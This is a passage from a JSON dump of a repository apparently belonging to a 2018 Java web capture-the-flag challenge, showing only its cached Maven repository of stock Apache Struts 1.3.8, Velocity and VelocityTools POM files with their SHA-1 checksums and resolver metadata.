<goal>run</goal>\n                     </goals>\n                  </execution>\n               </executions>\n            </plugin>\n        </plugins>\n        \n        <defaultGoal>install</defaultGoal>\n        \n    </build>\n\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-project-info-reports-plugin</artifactId>\n             </plugin>\n            <plugin>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.1</version>\n                <configuration>\n                  <aggregate>true</aggregate>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-surefire-report-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-checkstyle-plugin</artifactId>\n                <configuration>\n                  <configLocation>http://svn.apache.org/repos/asf/struts/maven/trunk/build/struts_checks.xml</configLocation>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jxr-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-pmd-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>net.sf.dtddoc</groupId>\n                <artifactId>dtddoc-maven-plugin</artifactId>\n                <configuration>\n                    <excludes>\n                        <exclude>**/web-app*</exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <dependencies/>\n\n    <repositories>\n        <repository>\n            <id>apache.snapshots</id>\n            <name>Apache Maven Repository (Snapshots and Test Builds)</name>\n            <url>http://people.apache.org/maven-snapshot-repository</url>\n            <releases><enabled>false</enabled></releases>\n            <snapshots><enabled>true</enabled></snapshots>\n        </repository>\n    </repositories>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-parent/1.3.8/struts-parent-1.3.8.pom.sha1",
    "content": "f3958c3355a5949b1c924b0ea22b0aa5c6d86274"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nstruts-taglib-1.3.8.pom>central=\nstruts-taglib-1.3.8.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.jar.sha1",
    "content": "e87e9817bdf03c2367fb5f6d5ead953db2df4c21"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.pom",
    "content": "<?xml version=\"1.0\"?><project>\n  <parent>\n    <artifactId>struts-parent</artifactId>\n    <groupId>org.apache.struts</groupId>\n    <version>1.3.8</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.struts</groupId>\n  <artifactId>struts-taglib</artifactId>\n  <name>Struts Taglib</name>\n  <version>1.3.8</version>\n  <url>http://struts.apache.org</url>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/</developerConnection>\n    <url>http://svn.apache.org/repos/asf/struts/struts1/trunk/taglib/</url>\n  </scm>\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>src/main/java</directory>\n        <includes>\n          <include>**/*.properties</include>\n        </includes>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/java</directory>\n        <excludes>\n          <exclude>**/*.java</exclude>\n        </excludes>\n      </testResource>\n    </testResources>\n  </build>\n  <profiles>\n    <profile>\n      <id>pre-assembly</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadoc</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-source</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.struts</groupId>\n      <artifactId>struts-core</artifactId>\n      <version>1.3.8</version>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>net.sourceforge.maven-taglib</groupId>\n        <artifactId>maven-taglib-plugin</artifactId>\n        <configuration>\n          <taglib.src.dir>${basedir}/src/main/resources/META-INF/tld</taglib.src.dir>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n  <distributionManagement>\n    <site>\n      <id>apache-site</id>\n      <url>scp://people.apache.org/www/struts.apache.org/1.x/struts-taglib</url>\n    </site>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-taglib/1.3.8/struts-taglib-1.3.8.pom.sha1",
    "content": "2aeddb7ea2febcd4734ebcdf33968925c847ead3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nstruts-tiles-1.3.8.pom>central=\nstruts-tiles-1.3.8.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.jar.sha1",
    "content": "6d212f8ea5d908bc9906e669428b7694dff60785"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.pom",
    "content": "<?xml version=\"1.0\"?><project>\n  <parent>\n    <artifactId>struts-parent</artifactId>\n    <groupId>org.apache.struts</groupId>\n    <version>1.3.8</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.struts</groupId>\n  <artifactId>struts-tiles</artifactId>\n  <name>Struts Tiles</name>\n  <version>1.3.8</version>\n  <url>http://struts.apache.org</url>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/</developerConnection>\n    <url>http://svn.apache.org/repos/asf/struts/struts1/trunk/tiles/</url>\n  </scm>\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/java</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </testResource>\n    </testResources>\n  </build>\n  <profiles>\n    <profile>\n      <id>pre-assembly</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadoc</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-source</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.struts</groupId>\n      <artifactId>struts-core</artifactId>\n      <version>1.3.8</version>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>net.sourceforge.maven-taglib</groupId>\n        <artifactId>maven-taglib-plugin</artifactId>\n        <configuration>\n          <taglib.src.dir>${basedir}/src/main/resources/META-INF/tld</taglib.src.dir>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n  <distributionManagement>\n    <site>\n      <id>apache-site</id>\n      <url>scp://people.apache.org/www/struts.apache.org/1.x/struts-tiles</url>\n    </site>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/struts/struts-tiles/1.3.8/struts-tiles-1.3.8.pom.sha1",
    "content": "3f13b707b4220197c94b48d366e6ca79cb28f805"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nvelocity-1.5.jar>central=\nvelocity-1.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.jar.sha1",
    "content": "09f306baf7523ffc0e81a6353d08a584d254133b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.velocity</groupId>\n  <artifactId>velocity</artifactId>\n  <packaging>pom</packaging>\n  <name>Apache Velocity</name>\n  <version>1.5</version>\n  <description>Apache Velocity is a general purpose template engine.</description>\n  <url>http://velocity.apache.org/engine/releases/velocity-1.5/</url>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>https://issues.apache.org/jira/browse/VELOCITY</url>\n  </issueManagement>\n  <inceptionYear>2000</inceptionYear>\n  <developers>\n    <developer>\n      <id>wglass</id>\n      <name>Will Glass-Husain</name>\n      <email>wglass@forio.com</email>\n      <organization>Forio Business Simulations</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>geirm</id>\n      <name>Geir Magnusson Jr.</name>\n      <email>geirm@optonline.net</email>\n      <organization>Independent (DVSL Maven)</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <email>dlr@finemaltcoding.com</email>\n      <organization>CollabNet, Inc.</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>henning</id>\n      <name>Henning P. Schmiedehausen</name>\n      <email>hps@intermeta.de</email>\n      <organization>INTERMETA - Gesellschaft für Mehrwertdienste mbH</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>2</timezone>\n    </developer>\n    <developer>\n      <id>nbubna</id>\n      <name>Nathan Bubna</name>\n      <email>nathan@esha.com</email>\n      <organization>ESHA Research</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/velocity/engine/tags/Velocity_1.5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/velocity/engine/tags/Velocity_1.5</developerConnection>\n    <url>http://svn.apache.org/viewvc/velocity/engine/tags/Velocity_1.5</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <defaultGoal>install</defaultGoal>\n    <plugins>\n      <plugin>\n        <artifactId>maven-site-plugin</artifactId>\n        <configuration>\n          <inputEncoding>UTF-8</inputEncoding>\n          <outputEncoding>UTF-8</outputEncoding>\n          <xdocDirectory>${basedir}/xdocs/docs</xdocDirectory>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <repositories>\n    <repository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n    </repository>\n  </repositories>\n  <dependencies>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>3.1</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <version>2.1</version>\n    </dependency>\n    <dependency>\n      <groupId>oro</groupId>\n      <artifactId>oro</artifactId>\n      <version>2.0.8</version>\n    </dependency>\n    <dependency>\n      <groupId>jdom</groupId>\n      <artifactId>jdom</artifactId>\n      <version>1.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.12</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>2.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>ant</groupId>\n      <artifactId>ant</artifactId>\n      <version>1.6</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>werken-xpath</groupId>\n      <artifactId>werken-xpath</artifactId>\n      <version>0.9.4</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>dependencies</report>\n              <report>issue-tracking</report>\n              <report>license</report>\n              <report>summary</report>\n              <report>scm</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changes-plugin</artifactId>\n        <configuration>\n          <component>12311337</component>\n          <filter>fixfor=12310253&amp;fixfor=12312142&amp;fixfor=12312057&amp;sorter/field=issuekey&amp;sorter/order=ASC</filter>\n          <maxEntries>500</maxEntries>\n          <teamlist>http://velocity.apache.org/who-we-are.html</teamlist>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>taglist-maven-plugin</artifactId>\n        <configuration>\n          <tag>TODO</tag>\n          <tag>FIXME</tag>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n            <link>http://jakarta.apache.org/oro/api</link>\n            <link>http://jakarta.apache.org/commons/lang/api-release</link>\n            <link>http://jakarta.apache.org/commons/collections/api-release</link>\n            <link>http://www.jdom.org/docs/apidocs</link>\n            <link>http://logging.apache.org/log4j/docs/api</link>\n            <link>http://excalibur.apache.org/apidocs</link>\n            <link>http://tomcat.apache.org/tomcat-4.1-doc/servletapi</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changelog-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n  <distributionManagement>\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n    </snapshotRepository>\n    <site>\n      <id>velocity.apache.org</id>\n      <url>scpexe://people.apache.org/www/velocity.apache.org/engine/releases/velocity-1.5/</url>\n    </site>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.5/velocity-1.5.pom.sha1",
    "content": "106262b58f0f2b44cc0dbb3d0fa77105f28f5e38"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:48 CST 2018\nvelocity-1.6.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements.  See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership.  The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License.  You may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing,\n software distributed under the License is distributed on an\n \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n KIND, either express or implied.  See the License for the\n specific language governing permissions and limitations\n under the License.    \n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n\n  <groupId>org.apache.velocity</groupId>\n  <artifactId>velocity</artifactId>\n  <version>1.6.2</version>\n\n  <name>Apache Velocity</name>\n  <url>http://velocity.apache.org/engine/releases/velocity-1.6.2/</url>\n  <description>Apache Velocity is a general purpose template engine.</description>\n  <inceptionYear>2000</inceptionYear>\n  <packaging>jar</packaging>\n  \n  <prerequisites>\n      <maven>2.0.9</maven>\n  </prerequisites>\n\n  <build>\n    <defaultGoal>install</defaultGoal>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <configuration>\n          <inputEncoding>UTF-8</inputEncoding>\n          <outputEncoding>UTF-8</outputEncoding>\n          <xdocDirectory>${basedir}/xdocs/docs</xdocDirectory>\n        </configuration>\n      </plugin>\n    </plugins>\n    <resources>\n      <resource>\n        <directory>src/java</directory>\n        <excludes>\n          <exclude>**/*.java</exclude>\n        </excludes>\n      </resource>\n    </resources>\n  </build>\n\n  <distributionManagement>\n    <site>\n      <id>velocity.apache.org</id>\n      <url>scpexe://people.apache.org/www/velocity.apache.org/engine/releases/velocity-1.6.2/</url>\n    </site>\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <developers>\n    <developer>\n      <name>Will Glass-Husain</name>\n      <id>wglass</id>\n      <email>wglass@forio.com</email>\n      <organization>Forio Business Simulations</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n\n   <developer>\n      <name>Geir Magnusson Jr.</name>\n      <id>geirm</id>\n      <email>geirm@optonline.net</email>\n      <organization>Independent (DVSL Maven)</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n\n    <developer>\n      <name>Daniel Rall</name>\n      <id>dlr</id>\n      <email>dlr@finemaltcoding.com</email>\n      <organization>CollabNet, Inc.</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n\n    <developer>\n      <name>Henning P. Schmiedehausen</name>\n      <id>henning</id>\n      <email>hps@intermeta.de</email>\n      <organization>INTERMETA - Gesellschaft für Mehrwertdienste mbH</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>2</timezone>\n    </developer>\n\n    <developer>\n      <name>Nathan Bubna</name>\n      <id>nbubna</id>\n      <email>nathan@esha.com</email>\n      <organization>ESHA Research</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n\n  </developers>\n\n  <dependencies>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>3.2.1</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <version>2.4</version>\n    </dependency>\n    <dependency>\n      <groupId>oro</groupId>\n      <artifactId>oro</artifactId>\n      <version>2.0.8</version>\n    </dependency>\n    <dependency>\n      <groupId>jdom</groupId>\n      <artifactId>jdom</artifactId>\n      <version>1.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.1</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>avalon-framework</groupId>\n          <artifactId>avalon-framework</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>log4j</groupId>\n          <artifactId>log4j</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>javax.servlet</groupId>\n          <artifactId>servlet-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.12</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>logkit</groupId>\n      <artifactId>logkit</artifactId>\n      <version>2.0</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>ant</groupId>\n      <artifactId>ant</artifactId>\n      <version>1.6</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>werken-xpath</groupId>\n      <artifactId>werken-xpath</artifactId>\n      <version>0.9.4</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>hsqldb</groupId>\n      <artifactId>hsqldb</artifactId>\n      <version>1.7.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>dependencies</report>\n              <report>issue-tracking</report>\n              <report>license</report>\n              <report>summary</report>\n              <report>scm</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>2.0</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n        <configuration>\n            <issueLinkTemplate>${jira.browse.url}/%ISSUE%</issueLinkTemplate>\n          <!-- Apache JIRA, Component Engine -->\n          <component>12311337</component>\n          <!-- FixFor 1.6 -->\n          <filter>fixfor=12310290&amp;sorter/field=issuekey&amp;sorter/order=ASC</filter>\n          <maxEntries>100</maxEntries>\n          <teamlist>http://velocity.apache.org/who-we-are.html</teamlist>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>taglist-maven-plugin</artifactId>\n        <version>2.2</version>\n        <configuration>\n          <tag>TODO</tag>\n          <tag>FIXME</tag>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n            <link>http://jakarta.apache.org/oro/api</link>\n            <link>http://jakarta.apache.org/commons/lang/api-release</link>\n            <link>http://jakarta.apache.org/commons/collections/api-release</link>\n\n            <link>http://www.jdom.org/docs/apidocs</link>\n            <link>http://logging.apache.org/log4j/docs/api</link>\n            <link>http://excalibur.apache.org/apidocs</link>\n            <link>http://tomcat.apache.org/tomcat-4.1-doc/servletapi</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changelog-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.2</version>\n        <configuration>\n          <xmlOutput>true</xmlOutput>\n          <threshold>Low</threshold>\n          <effort>Max</effort>\n          <excludeFilterFile>build/findbugs-exclude.xml</excludeFilterFile>\n          <findbugsXmlOutputDirectory>xdocs</findbugsXmlOutputDirectory> \n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/velocity/engine/branches/1.6.x</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/velocity/engine/branches/1.6.x</developerConnection>\n    <tag>HEAD</tag>\n    <url>http://svn.apache.org/viewvc/velocity/engine/branches/1.6.x</url>\n  </scm>\n\n    <properties>\n        <jira.browse.url>https://issues.apache.org/jira/browse</jira.browse.url>\n    </properties>\n\n  <issueManagement>\n    <system>JIRA</system>\n    <url>${jira.browse.url}/VELOCITY</url>\n  </issueManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity/1.6.2/velocity-1.6.2.pom.sha1",
    "content": "929626ce5697f341cdf81bbbd9c7387b701a821f\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nvelocity-tools-2.0.jar>central=\nvelocity-tools-2.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.jar.sha1",
    "content": "69936384de86857018b023a8c56ae0635c56b6a0\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/velocity/velocity-tools/2.0/velocity-tools-2.0.pom",
    "content": "<?xml version=\"1.0\"?>\n\n<!--\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements.  See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership.  The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License.  You may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing,\n software distributed under the License is distributed on an\n \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n KIND, either express or implied.  See the License for the\n specific language governing permissions and limitations\n under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.apache.velocity</groupId>\n    <artifactId>velocity-tools</artifactId>\n    <name>VelocityTools</name>\n    <version>2.0</version>\n    <packaging>jar</packaging>\n\n    <organization>\n        <name>Apache Software Foundation</name>\n        <url>http://velocity.apache.org/</url>\n    </organization>\n    <url>http://velocity.apache.org/tools/devel/</url>\n    <description>\n        VelocityTools is an integrated collection of Velocity subprojects\n        with the common goal of creating tools and infrastructure to speed and ease\n        development of both web and non-web applications using the Velocity template\n        engine.\n    </description>\n    <inceptionYear>2002</inceptionYear>\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n            <comments>A business-friendly OSS license</comments>\n        </license>\n    </licenses>\n\n    <build>\n      <defaultGoal>install</defaultGoal>\n      <outputDirectory>build/classes</outputDirectory>\n      <directory>dist</directory>\n      <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-compiler-plugin</artifactId>\n            <configuration>\n              <source>1.5</source>\n              <target>1.5</target>\n            </configuration>\n          </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            